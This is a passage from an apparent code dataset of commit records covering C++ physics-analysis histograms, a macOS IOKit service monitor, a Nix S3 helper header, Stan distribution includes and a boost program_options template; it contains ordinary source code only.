AliFemtoModelCorrFctnTrueQ3D(\"\", nbins, qmin, qmax)\n{\n}\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const AliFemtoModelCorrFctnTrueQ3D::Parameters ¶ms):\n AliFemtoModelCorrFctnTrueQ3D(params.prefix.Data(), params.bin_count, params.qmin, params.qmax)\n{\n SetManager(params.mc_manager);\n}\n\n\nAliFemtoModelCorrFctnTrueQ3D::AliFemtoModelCorrFctnTrueQ3D(const AliFemtoModelCorrFctnTrueQ3D& orig):\n AliFemtoCorrFctn(orig)\n , fManager(orig.fManager)\n , fNumeratorGenerated(nullptr)\n , fNumeratorReconstructed(nullptr)\n , fNumeratorGenUnweighted(nullptr)\n , fNumeratorRecUnweighted(nullptr)\n , fDenominatorGenerated(nullptr)\n , fDenominatorReconstructed(nullptr)\n , fDenominatorGenWeighted(nullptr)\n , fDenominatorRecWeighted(nullptr)\n , fRng(new TRandom())\n{\n fNumeratorGenerated = new TH3F(*orig.fNumeratorGenerated);\n fNumeratorReconstructed = new TH3F(*orig.fNumeratorReconstructed);\n fDenominatorGenerated = new TH3F(*orig.fDenominatorGenerated);\n fDenominatorReconstructed = new TH3F(*orig.fDenominatorReconstructed);\n\n fNumeratorGenUnweighted = new TH3F(*orig.fNumeratorGenUnweighted);\n fNumeratorRecUnweighted = new TH3F(*orig.fNumeratorRecUnweighted);\n fDenominatorGenWeighted = new TH3F(*orig.fDenominatorGenWeighted);\n fDenominatorRecWeighted = new TH3F(*orig.fDenominatorRecWeighted);\n}\n\n\nAliFemtoModelCorrFctnTrueQ3D&\nAliFemtoModelCorrFctnTrueQ3D::operator=(const AliFemtoModelCorrFctnTrueQ3D&)\n{\n return *this;\n}\n\nAliFemtoModelCorrFctnTrueQ3D::~AliFemtoModelCorrFctnTrueQ3D()\n{\n delete fNumeratorGenerated;\n delete fNumeratorReconstructed;\n delete fDenominatorGenerated;\n delete fDenominatorReconstructed;\n delete fNumeratorGenUnweighted;\n delete fNumeratorRecUnweighted;\n delete fDenominatorGenWeighted;\n delete fDenominatorRecWeighted;\n delete fRng;\n}\n\n\nTList*\nAliFemtoModelCorrFctnTrueQ3D::GetOutputList()\n{\n TList *result = new TList();\n AppendOutputList(*result);\n return result;\n}\n\n\nTList*\nAliFemtoModelCorrFctnTrueQ3D::AppendOutputList(TList &list)\n{\n AddOutputObjectsTo(list);\n return &list;\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::AddOutputObjectsTo(TCollection &list)\n{\n list.Add(fNumeratorGenerated);\n list.Add(fNumeratorReconstructed);\n list.Add(fDenominatorGenerated);\n list.Add(fDenominatorReconstructed);\n list.Add(fNumeratorGenUnweighted);\n list.Add(fNumeratorRecUnweighted);\n list.Add(fDenominatorGenWeighted);\n list.Add(fDenominatorRecWeighted);\n}\n\n\/\/\/ Return q{Out-Side-Long} tuple, calculated from momentum vectors p1 & p2\nstatic\nstd::tuple<Double_t, Double_t, Double_t>\nQcms(const AliFemtoLorentzVector &p1, const AliFemtoLorentzVector &p2)\n{\n const AliFemtoLorentzVector p = p1 + p2,\n d = p1 - p2;\n\n Double_t k1 = p.Perp(),\n k2 = d.x()*p.x() + d.y()*p.y();\n\n \/\/ relative momentum out component in lab frame\n Double_t qout = (k1 == 0) ? 0.0 : k2\/k1;\n\n \/\/ relative momentum side component in lab frame\n Double_t qside = (k1 == 0) ? 0.0 : 2.0 * (p2.x()*p1.y() - p1.x()*p2.y())\/k1;\n\n \/\/ relative momentum component in lab frame\n\n Double_t beta = p.z()\/p.t(),\n gamma = 1.0 \/ TMath::Sqrt((1.0-beta)*(1.0+beta));\n\n Double_t qlong = gamma * (d.z() - beta*d.t());\n\n \/\/ double qlong = (p.t()*d.z() - p.z()*d.t()) \/ TMath::Sqrt(p.t()*p.t() - p.z()*p.z());\n\n return std::make_tuple(qout, qside, qlong);\n}\n\n\nstatic void\nAddPair(const AliFemtoParticle &particle1,\n const AliFemtoParticle &particle2,\n TH3F &gen_hist,\n TH3F &rec_hist,\n TH3F &gen_hist_unw,\n TH3F &rec_hist_unw,\n Double_t weight)\n{\n Double_t q_out, q_side, q_long;\n\n \/\/ Fill reconstructed histogram with \"standard\" particle momentum\n std::tie(q_out, q_side, q_long) = Qcms(particle1.FourMomentum(), particle2.FourMomentum());\n Int_t rec_bin = gen_hist.FindBin(q_out, q_long, q_side);\n if (!(gen_hist.IsBinOverflow(rec_bin) or gen_hist.IsBinUnderflow(rec_bin))) {\n rec_hist.Fill(q_out, q_side, q_long, weight);\n rec_hist_unw.Fill(q_out, q_side, q_long, 1.0);\n }\n\n \/\/ Get generated momentum from hidden info\n const AliFemtoModelHiddenInfo\n *info1 = dynamic_cast<const AliFemtoModelHiddenInfo*>(particle1.HiddenInfo()),\n *info2 = dynamic_cast<const AliFemtoModelHiddenInfo*>(particle2.HiddenInfo());\n\n if (info1 == nullptr || info2 == nullptr) {\n return;\n }\n\n const Float_t mass1 = info1->GetMass(),\n mass2 = info2->GetMass();\n\n \/\/ block all zero-mass particles from the correlation function\n if (mass1 == 0.0 || mass2 == 0.0) {\n return;\n }\n\n const AliFemtoThreeVector *true_momentum1 = info1->GetTrueMomentum(),\n *true_momentum2 = info2->GetTrueMomentum();\n\n const Double_t e1 = sqrt(mass1 * mass1 + true_momentum1->Mag2()),\n e2 = sqrt(mass2 * mass2 + true_momentum2->Mag2());\n\n const AliFemtoLorentzVector p1 = AliFemtoLorentzVector(e1, *true_momentum1),\n p2 = AliFemtoLorentzVector(e2, *true_momentum2);\n\n \/\/ Fill generated-momentum histogram with \"true\" particle momentum\n std::tie(q_out, q_side, q_long) = Qcms(p1, p2);\n Int_t gen_bin = gen_hist.FindBin(q_out, q_long, q_side);\n if (!(gen_hist.IsBinOverflow(gen_bin) or gen_hist.IsBinUnderflow(gen_bin))) {\n gen_hist.Fill(q_out, q_side, q_long, weight);\n gen_hist_unw.Fill(q_out, q_side, q_long, weight);\n }\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::AddRealPair(AliFemtoPair *pair)\n{\n const AliFemtoParticle *p1 = pair->Track1(),\n *p2 = pair->Track2();\n\n \/\/ randomize to avoid ordering biases\n if (fRng->Uniform() >= 0.5) {\n std::swap(p1, p2);\n }\n AddPair(*p1, *p2,\n *fNumeratorGenUnweighted,\n *fNumeratorRecUnweighted,\n *fNumeratorGenerated,\n *fNumeratorReconstructed,\n fManager->GetWeight(pair));\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::AddMixedPair(AliFemtoPair *pair)\n{\n const AliFemtoParticle *p1 = pair->Track1(),\n *p2 = pair->Track2();\n\n \/\/ randomize to avoid ordering biases\n if (fRng->Uniform() >= 0.5) {\n std::swap(p1, p2);\n }\n\n AddPair(*p1, *p2,\n *fDenominatorGenWeighted,\n *fDenominatorRecWeighted,\n *fDenominatorGenerated,\n *fDenominatorReconstructed,\n fManager->GetWeight(pair));\n}\n\n\nAliFemtoString\nAliFemtoModelCorrFctnTrueQ3D::Report()\n{\n AliFemtoString report;\n return report;\n}\n\nvoid\nAliFemtoModelCorrFctnTrueQ3D::Finish()\n{\n#if ROOT_VERSION_CODE >= ROOT_VERSION(6, 10, 8)\n \/\/ remove {under,over}flow to shrink file sizes\n fNumeratorGenerated->ClearUnderflowAndOverflow();\n fNumeratorReconstructed->ClearUnderflowAndOverflow();\n fDenominatorGenerated->ClearUnderflowAndOverflow();\n fDenominatorReconstructed->ClearUnderflowAndOverflow();\n\n fNumeratorGenUnweighted->ClearUnderflowAndOverflow();\n fNumeratorRecUnweighted->ClearUnderflowAndOverflow();\n fDenominatorGenWeighted->ClearUnderflowAndOverflow();\n fDenominatorRecWeighted->ClearUnderflowAndOverflow();\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"boost_defs.hpp\"\n\n#include \"dispatcher.hpp\"\n#include \"iokit_utility.hpp\"\n#include \"logger.hpp\"\n#include \"services.hpp\"\n#include <boost\/signals2.hpp>\n\nnamespace krbn {\nnamespace monitor {\nnamespace service_monitor {\nclass service_monitor final : pqrs::dispatcher::extra::dispatcher_client {\npublic:\n \/\/ Signals (invoked from the shared dispatcher thread)\n\n boost::signals2::signal<void(std::shared_ptr<services>)> service_detected;\n boost::signals2::signal<void(std::shared_ptr<services>)> service_removed;\n\n \/\/ Methods\n\n service_monitor(const service_monitor&) = delete;\n\n service_monitor(CFDictionaryRef _Nonnull matching_dictionary) : matching_dictionary_(matching_dictionary),\n notification_port_(nullptr),\n matched_notification_(IO_OBJECT_NULL),\n terminated_notification_(IO_OBJECT_NULL) {\n if (matching_dictionary_) {\n CFRetain(matching_dictionary_);\n }\n }\n\n virtual ~service_monitor(void) {\n detach_from_dispatcher([this] {\n stop();\n });\n\n if (matching_dictionary_) {\n CFRelease(matching_dictionary_);\n }\n }\n\n void async_start(void) {\n enqueue_to_dispatcher([this] {\n start();\n });\n }\n\n void async_stop(void) {\n enqueue_to_dispatcher([this] {\n stop();\n });\n }\n\n void async_invoke_service_detected(void) {\n enqueue_to_dispatcher([this] {\n if (matching_dictionary_) {\n CFRetain(matching_dictionary_);\n io_iterator_t it;\n auto kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matching_dictionary_, &it);\n if (kr != KERN_SUCCESS) {\n logger::get_logger().error(\"IOServiceGetMatchingServices is failed: {0}\",\n iokit_utility::get_error_name(kr));\n } else {\n matched_callback(it);\n IOObjectRelease(it);\n }\n }\n });\n }\n\nprivate:\n \/\/ This method is executed in the dispatcher thread.\n void start(void) {\n if (!notification_port_) {\n notification_port_ = IONotificationPortCreate(kIOMasterPortDefault);\n if (!notification_port_) {\n logger::get_logger().error(\"IONotificationPortCreate is failed.\");\n return;\n }\n\n if (auto loop_source = IONotificationPortGetRunLoopSource(notification_port_)) {\n CFRunLoopAddSource(CFRunLoopGetMain(), loop_source, kCFRunLoopCommonModes);\n } else {\n logger::get_logger().error(\"IONotificationPortGetRunLoopSource is failed.\");\n }\n }\n\n \/\/ kIOMatchedNotification\n\n if (!matched_notification_) {\n if (matching_dictionary_) {\n CFRetain(matching_dictionary_);\n auto kr = IOServiceAddMatchingNotification(notification_port_,\n kIOFirstMatchNotification,\n matching_dictionary_,\n &(service_monitor::static_matched_callback),\n static_cast<void*>(this),\n &matched_notification_);\n if (kr != kIOReturnSuccess) {\n logger::get_logger().error(\"IOServiceAddMatchingNotification is failed: {0}\",\n iokit_utility::get_error_name(kr));\n CFRelease(matching_dictionary_);\n } else {\n matched_callback(matched_notification_);\n }\n }\n }\n\n \/\/ kIOTerminatedNotification\n\n if (!terminated_notification_) {\n if (matching_dictionary_) {\n CFRetain(matching_dictionary_);\n auto kr = IOServiceAddMatchingNotification(notification_port_,\n kIOTerminatedNotification,\n matching_dictionary_,\n &(service_monitor::static_terminated_callback),\n static_cast<void*>(this),\n &terminated_notification_);\n if (kr != kIOReturnSuccess) {\n logger::get_logger().error(\"IOServiceAddMatchingNotification is failed: {0}\",\n iokit_utility::get_error_name(kr));\n CFRelease(matching_dictionary_);\n } else {\n terminated_callback(terminated_notification_);\n }\n }\n }\n }\n\n \/\/ This method is executed in the dispatcher thread.\n void stop(void) {\n if (matched_notification_) {\n IOObjectRelease(matched_notification_);\n matched_notification_ = IO_OBJECT_NULL;\n }\n\n if (terminated_notification_) {\n IOObjectRelease(terminated_notification_);\n terminated_notification_ = IO_OBJECT_NULL;\n }\n\n if (notification_port_) {\n if (auto loop_source = IONotificationPortGetRunLoopSource(notification_port_)) {\n CFRunLoopRemoveSource(CFRunLoopGetMain(), loop_source, kCFRunLoopCommonModes);\n }\n\n IONotificationPortDestroy(notification_port_);\n notification_port_ = nullptr;\n }\n }\n\n static void static_matched_callback(void* _Nonnull refcon, io_iterator_t iterator) {\n auto self = static_cast<service_monitor*>(refcon);\n if (!self) {\n return;\n }\n\n self->matched_callback(iterator);\n }\n\n void matched_callback(io_iterator_t iterator) {\n auto s = std::make_shared<services>(iterator);\n enqueue_to_dispatcher([this, s] {\n service_detected(s);\n });\n }\n\n static void static_terminated_callback(void* _Nonnull refcon, io_iterator_t iterator) {\n auto self = static_cast<service_monitor*>(refcon);\n if (!self) {\n return;\n }\n\n self->terminated_callback(iterator);\n }\n\n void terminated_callback(io_iterator_t iterator) {\n auto s = std::make_shared<services>(iterator);\n enqueue_to_dispatcher([this, s] {\n service_removed(s);\n });\n }\n\n CFDictionaryRef _Nonnull matching_dictionary_;\n\n IONotificationPortRef _Nullable notification_port_;\n io_iterator_t matched_notification_;\n io_iterator_t terminated_notification_;\n};\n} \/\/ namespace service_monitor\n} \/\/ namespace monitor\n} \/\/ namespace krbn\n<commit_msg>use cf_ptr<commit_after>#pragma once\n\n#include \"boost_defs.hpp\"\n\n#include \"cf_utility.hpp\"\n#include \"dispatcher.hpp\"\n#include \"iokit_utility.hpp\"\n#include \"logger.hpp\"\n#include \"services.hpp\"\n#include <boost\/signals2.hpp>\n\nnamespace krbn {\nnamespace monitor {\nnamespace service_monitor {\nclass service_monitor final : pqrs::dispatcher::extra::dispatcher_client {\npublic:\n \/\/ Signals (invoked from the shared dispatcher thread)\n\n boost::signals2::signal<void(std::shared_ptr<services>)> service_detected;\n boost::signals2::signal<void(std::shared_ptr<services>)> service_removed;\n\n \/\/ Methods\n\n service_monitor(const service_monitor&) = delete;\n\n service_monitor(CFDictionaryRef _Nonnull matching_dictionary) : matching_dictionary_(matching_dictionary),\n notification_port_(nullptr),\n matched_notification_(IO_OBJECT_NULL),\n terminated_notification_(IO_OBJECT_NULL) {\n }\n\n virtual ~service_monitor(void) {\n detach_from_dispatcher([this] {\n stop();\n });\n }\n\n void async_start(void) {\n enqueue_to_dispatcher([this] {\n start();\n });\n }\n\n void async_stop(void) {\n enqueue_to_dispatcher([this] {\n stop();\n });\n }\n\n void async_invoke_service_detected(void) {\n enqueue_to_dispatcher([this] {\n if (*matching_dictionary_) {\n CFRetain(*matching_dictionary_);\n io_iterator_t it;\n auto kr = IOServiceGetMatchingServices(kIOMasterPortDefault, *matching_dictionary_, &it);\n if (kr != KERN_SUCCESS) {\n logger::get_logger().error(\"IOServiceGetMatchingServices is failed: {0}\",\n iokit_utility::get_error_name(kr));\n } else {\n matched_callback(it);\n IOObjectRelease(it);\n }\n }\n });\n }\n\nprivate:\n \/\/ This method is executed in the dispatcher thread.\n void start(void) {\n if (!notification_port_) {\n notification_port_ = IONotificationPortCreate(kIOMasterPortDefault);\n if (!notification_port_) {\n logger::get_logger().error(\"IONotificationPortCreate is failed.\");\n return;\n }\n\n if (auto loop_source = IONotificationPortGetRunLoopSource(notification_port_)) {\n CFRunLoopAddSource(CFRunLoopGetMain(), loop_source, kCFRunLoopCommonModes);\n } else {\n logger::get_logger().error(\"IONotificationPortGetRunLoopSource is failed.\");\n }\n }\n\n \/\/ kIOMatchedNotification\n\n if (!matched_notification_) {\n if (*matching_dictionary_) {\n CFRetain(*matching_dictionary_);\n auto kr = IOServiceAddMatchingNotification(notification_port_,\n kIOFirstMatchNotification,\n *matching_dictionary_,\n &(service_monitor::static_matched_callback),\n static_cast<void*>(this),\n &matched_notification_);\n if (kr != kIOReturnSuccess) {\n logger::get_logger().error(\"IOServiceAddMatchingNotification is failed: {0}\",\n iokit_utility::get_error_name(kr));\n CFRelease(*matching_dictionary_);\n } else {\n matched_callback(matched_notification_);\n }\n }\n }\n\n \/\/ kIOTerminatedNotification\n\n if (!terminated_notification_) {\n if (*matching_dictionary_) {\n CFRetain(*matching_dictionary_);\n auto kr = IOServiceAddMatchingNotification(notification_port_,\n kIOTerminatedNotification,\n *matching_dictionary_,\n &(service_monitor::static_terminated_callback),\n static_cast<void*>(this),\n &terminated_notification_);\n if (kr != kIOReturnSuccess) {\n logger::get_logger().error(\"IOServiceAddMatchingNotification is failed: {0}\",\n iokit_utility::get_error_name(kr));\n CFRelease(*matching_dictionary_);\n } else {\n terminated_callback(terminated_notification_);\n }\n }\n }\n }\n\n \/\/ This method is executed in the dispatcher thread.\n void stop(void) {\n if (matched_notification_) {\n IOObjectRelease(matched_notification_);\n matched_notification_ = IO_OBJECT_NULL;\n }\n\n if (terminated_notification_) {\n IOObjectRelease(terminated_notification_);\n terminated_notification_ = IO_OBJECT_NULL;\n }\n\n if (notification_port_) {\n if (auto loop_source = IONotificationPortGetRunLoopSource(notification_port_)) {\n CFRunLoopRemoveSource(CFRunLoopGetMain(), loop_source, kCFRunLoopCommonModes);\n }\n\n IONotificationPortDestroy(notification_port_);\n notification_port_ = nullptr;\n }\n }\n\n static void static_matched_callback(void* _Nonnull refcon, io_iterator_t iterator) {\n auto self = static_cast<service_monitor*>(refcon);\n if (!self) {\n return;\n }\n\n self->matched_callback(iterator);\n }\n\n void matched_callback(io_iterator_t iterator) {\n auto s = std::make_shared<services>(iterator);\n enqueue_to_dispatcher([this, s] {\n service_detected(s);\n });\n }\n\n static void static_terminated_callback(void* _Nonnull refcon, io_iterator_t iterator) {\n auto self = static_cast<service_monitor*>(refcon);\n if (!self) {\n return;\n }\n\n self->terminated_callback(iterator);\n }\n\n void terminated_callback(io_iterator_t iterator) {\n auto s = std::make_shared<services>(iterator);\n enqueue_to_dispatcher([this, s] {\n service_removed(s);\n });\n }\n\n cf_utility::cf_ptr<CFDictionaryRef> matching_dictionary_;\n\n IONotificationPortRef _Nullable notification_port_;\n io_iterator_t matched_notification_;\n io_iterator_t terminated_notification_;\n};\n} \/\/ namespace service_monitor\n} \/\/ namespace monitor\n} \/\/ namespace krbn\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#if ENABLE_S3\n\n#include \"ref.hh\"\n\n#include <optional>\n\nnamespace Aws { namespace Client { class ClientConfiguration; } }\nnamespace Aws { namespace S3 { class S3Client; } }\n\nnamespace nix {\n\nstruct S3Helper\n{\n ref<Aws::Client::ClientConfiguration> config;\n ref<Aws::S3::S3Client> client;\n\n S3Helper(const std::string & profile, const std::string & region, const std::string & scheme, const std::string & endpoint);\n\n ref<Aws::Client::ClientConfiguration> makeConfig(const std::string & region, const std::string & scheme, const std::string & endpoint);\n\n struct FileTransferResult\n {\n std::optional<std::string> data;\n unsigned int durationMs;\n };\n\n FileTransferResult getObject(\n const std::string & bucketName, const std::string & key);\n};\n\n}\n\n#endif\n<commit_msg>Fix libcxx build<commit_after>#pragma once\n\n#if ENABLE_S3\n\n#include \"ref.hh\"\n\n#include <optional>\n#include <string>\n\nnamespace Aws { namespace Client { class ClientConfiguration; } }\nnamespace Aws { namespace S3 { class S3Client; } }\n\nnamespace nix {\n\nstruct S3Helper\n{\n ref<Aws::Client::ClientConfiguration> config;\n ref<Aws::S3::S3Client> client;\n\n S3Helper(const std::string & profile, const std::string & region, const std::string & scheme, const std::string & endpoint);\n\n ref<Aws::Client::ClientConfiguration> makeConfig(const std::string & region, const std::string & scheme, const std::string & endpoint);\n\n struct FileTransferResult\n {\n std::optional<std::string> data;\n unsigned int durationMs;\n };\n\n FileTransferResult getObject(\n const std::string & bucketName, const std::string & key);\n};\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS_HPP__\n#define __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS_HPP__\n\n#include <stan\/prob\/distributions\/univariate\/continuous\/beta.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/cauchy.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/chi_square.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/double_exponential.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/exponential.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/exp_mod_normal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/gamma.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/gumbel.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/inv_chi_square.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/inv_gamma.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/logistic.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/lognormal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/normal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/pareto.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/rayleigh.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/scaled_inv_chi_square.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/skew_normal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/student_t.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/uniform.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/von_mises.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/weibull.hpp>\n\n\n#endif\n<commit_msg>add wiener to continuous.hpp<commit_after>#ifndef __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS_HPP__\n#define __STAN__PROB__DISTRIBUTIONS__UNIVARIATE__CONTINUOUS_HPP__\n\n#include <stan\/prob\/distributions\/univariate\/continuous\/beta.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/cauchy.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/chi_square.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/double_exponential.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/exponential.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/exp_mod_normal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/gamma.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/gumbel.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/inv_chi_square.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/inv_gamma.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/logistic.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/lognormal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/normal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/pareto.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/rayleigh.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/scaled_inv_chi_square.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/skew_normal.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/student_t.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/uniform.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/von_mises.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/weibull.hpp>\n#include <stan\/prob\/distributions\/univariate\/continuous\/wiener.hpp>\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ -*- C++ -*-\n\/\/ Implementation of: ????\n\/\/\n\/\/ Copyright (C) 2010 by John Weiss\n\/\/ This program is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the Artistic License, included as the file\n\/\/ \"LICENSE\" in the source code archive.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\/\/\n\/\/ You should have received a copy of the file \"LICENSE\", containing\n\/\/ the License John Weiss originally placed this program under.\n\/\/\nstatic const char* const\nxFOOx_cc__=\"RCS $Id$\";\n\n\n\/\/ Includes\n\/\/\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n\n\/\/#include <boost\/something.hpp>\n\n\/\/TODO\/\/ Note: The guts of the ProgramOptions helper code now resides in its\n\/\/TODO\/\/ own class. You will need to do one of the following:\n\/\/TODO\/\/ 1. Use -ljpwTools and -I$JPWLIB_BASE\/include\n\/\/TODO\/\/ 2. Symlink to the following files in $JPWLIB_BASE\/src:\n\/\/TODO\/\/ - tracing\/Trace.{h,cc}\n\/\/TODO\/\/ - tracing\/LibTrace.h\n\/\/TODO\/\/ - boost_helpers\/ProgramOptions_Base.{h,cc}\n\/\/TODO\/\/ You'll need to add the two *.cc files to your Makefile.\n\/\/TODO\/\/ 3. Like #2, but copy the files instead of symlinking to them.\n#include \"ProgramOptions_Base.h\"\n#include \"xFOOx.h\"\n\n\n\/\/\n\/\/ Using Decls.\n\/\/\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::cerr;\nusing std::cout;\nusing std::endl;\nusing std::flush;\n\n\n\/\/\n\/\/ Static variables\n\/\/\n\n\n\/\/\n\/\/ Typedefs\n\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ Class: ProgramOptions\n\/\/\n\n\n\/\/ NOTE:\n\/\/\n\/\/ When using boost::program_options, you need to compile or link using:\n\/\/ '-lboost_program_options-mt'\n\/\/ (Check your Boost build to see if you have to remove the '-mt' suffix.)\nclass ProgramOptions : public jpwTools::boost_helpers::ProgramOptions_Base\n{\n typedef jpwTools::boost_helpers::ProgramOptions_Base Base_t;\npublic:\n \/\/ Member variables for individually storing program options.\n \/\/ ADD HERE:\n \/*\n example_type myExample;\n *\/\n\n \/\/ C'tor\n \/\/\n \/\/ There are a few different ways you can use the base-class.\n \/\/\n explicit ProgramOptions(const string& programName)\n : Base_t(programName)\n {\n m__docDetails_FakeOption[2] = 0;\n }\n\n \/\/ Implement this function (see below).\n void defineOptionsAndVariables();\n\n \/\/ Implement this function (below), or remove this fn.\n bool validateParsedOptions();\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\n\/\/ ProgramOptions Member Functions\n\/\/\n\n\n\/\/ Define your commandline options in this function.\n\/\/\n\/\/ The options \"--help\", \"--verbose\", \"--config\", and \"--help-config\" will\n\/\/ be defined for you. No need to put them in here.\nvoid ProgramOptions::defineOptionsAndVariables()\n{\n using namespace boost::program_options;\n\n \/\/\n \/\/ Commandline-only Options\n \/\/\n\n \/\/-----\n \/\/ About the Documentation String:\n \/\/\n \/\/ - Long lines are automatically wrapped.\n \/\/ - It can contain '\\n' chars.\n \/\/ - Any space following a '\\n' indents the first line accordingly, but\n \/\/ not any wrapped lines.\n \/\/ - The '\\t' character is always removed.\n \/\/ - A '\\t' character in the first \"line\" adds extra indentation to all\n \/\/ subsequently-wrapped lines. Its position marks the position of the\n \/\/ left margin for the wrapped lines.\n \/\/-----\n\n addOpts()\n (\"exampleOpt,e\", \"Documentation of the --exampleOpt.\")\n \/\/(\"ex2\", value<example_type>(&myExample)\n \/\/ \"Example with a specific storage variable.\")\n (\"ex3\", value<int>()->default_value(42),\n \"Example with a default value and fixed data type.\")\n \/\/(\"xil\", value< <std::vector<int> >()->compositing(),\n \/\/ \"Example of a \\\"list option\\\". Specifying \\\"--xil\\\" multiple \"\n \/\/ \"times just adds another element to the list.\")\n ;\n\n \/\/ Define the \"Hidden\" Commandline Parameters\n \/\/\n \/\/ These options will not appear in the \"usage\" message.\n\n \/*\n addOpts(Base_t::HIDDEN)\n (\"secretExampleOpt,s\", bool_switch(&secretExampleSwitch),\n \"Documentation of the --secretExampleOpt.\\t\"\n \"This example shows how to define a \\\"boolean switch\\\" option.\"\n )\n (\"ex2\",\n value<int>(&m_ex2)->default_value(-1)\n ->implicit_value(42)->zero_tokens(),\n \"Example of how to have an option that takes a value, but doesn't \"\n \"_require_ it.\\n\"\n \"In this example, the variable \\\"m_ex2\\\" has the value '-1' if the \"\n \"option isn't specified on the cmdline. Specifying \\\"--ex2\\\" \"\n \"sets \\\"m_ex2\\\" to '42'. Specifying \\\"--ex2=12345\\\" sets \"\n \"\\\"m_ex2\\\" to '12345', the value used.\")\n (\"ex3\", value<int>(&m_ztEx)->zero_tokens(),\n \"Like \\\"--ex2\\\", but without a default value or an implicit \"\n \"value. If you pass \\\"--ex3\\\" on the commandline, \\\"m_ztEx\\\" \"\n \"isn't set. Instead, you'll have to use \"\n \"'progOptInst[\\\"ex3\\\"].empty()' to determine if it's set (where \"\n \"'progOptInst' is a ProgramOptions object).\")\n ;\n *\/\n\n \/\/\n \/\/ The Positional Parameters:\n \/\/\n\n \/*\n addPosnParam(\"pp1\",\n \"The description of the first positional parameter.\");\n addPosnParam(\"pp2\",\n \"The description of the second positional parameter.\");\n addPosnParam(\"pp_list::all_remaining\",\n \/\/value< std::vector<std::string> >,\n \"The description of the remaining positional parameters.\",\n -1);\n *\/\n\n \/\/\n \/\/ The Configuration File Variables:\n \/\/\n\n \/*\n addCfgVars()\n (\"example\", \"An example\")\n (\"group1.example\",\n \"An example of a configfile variable in a group. You can specify \"\n \"the group using ini-file syntax, or you can use Java-style \"\n \"synax for the group+variable name.\")\n (\"oddname.group.foo\",\n \"Here, if you used ini-file style groups, you'd have to specify \"\n \"[oddname.group] as the group heading. Cfgfile vars never have \"\n \"a '.' in their names, unless you're using Java-style syntax.\")\n ;\n *\/\n\n \/\/\n \/\/ Configuration File Variables that can also be passed as Commandline\n \/\/ Options:\n \/\/\n\n \/*\n addCfgVars(Base_t::SHARED)\n (\"sharedEx\", \"A common opt.\")\n ;\n\n \/\/ Can also do this:\n \/\/addOpts(Base_t::SHARED)\n \/\/ (\"sharedEx\", \"A common opt.\")\n \/\/ ;\n *\/\n\n \/\/\n \/\/ Define the additional\/verbose\/enhanced configuration file\n \/\/ documentation:\n \/\/\n\n addConfigHelpDetails(\"\\n\"\n \"* \\tHeading\\n\"\n \"\\n \\t\" \/\/ Line end\/begin boilerplate\n \"Some stuff about one or more of the config \"\n \"file variables.\"\n \"\\n\");\n}\n\n\n\/\/ Performs more complex program option validation.\n\/\/\n\/\/ Remove this override if you 